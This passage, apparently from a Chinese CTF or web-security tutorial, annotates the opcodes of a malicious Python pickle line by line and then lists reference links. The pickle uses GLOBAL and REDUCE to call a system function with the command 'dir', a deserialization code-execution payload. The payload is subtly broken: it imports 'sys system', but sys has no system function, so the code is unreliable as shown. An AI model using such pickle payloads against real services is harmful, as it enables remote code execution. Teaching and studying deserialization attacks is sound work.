68: c GLOBAL 'sys system' #引入对象sys.system
80: ( MARK #向栈中压入一个MARK标记
81: S STRING 'dir' #实例化一个字符串对象dir
88: t TUPLE (MARK at 80) #寻找栈中的上一个MARK,并组合之间的数据为元组,即('dir')
89: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
90: . STOP #结束

参考文章:

https://xz.aliyun.com/t/7436#toc-6

https://www.anquanke.com/post/id/188981#h3-9

https://whoamianony.top/2021/02/09/Web%E5%AE%89%E5%85%A8/CTF-Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84Python%E9%A2%98%E5%9E%8B%E4%B8%8E%E8%A7%A3%E9%A2%98%E5%A7%BF%E5%8A%BF/

https://xz.aliyun.com/t/7436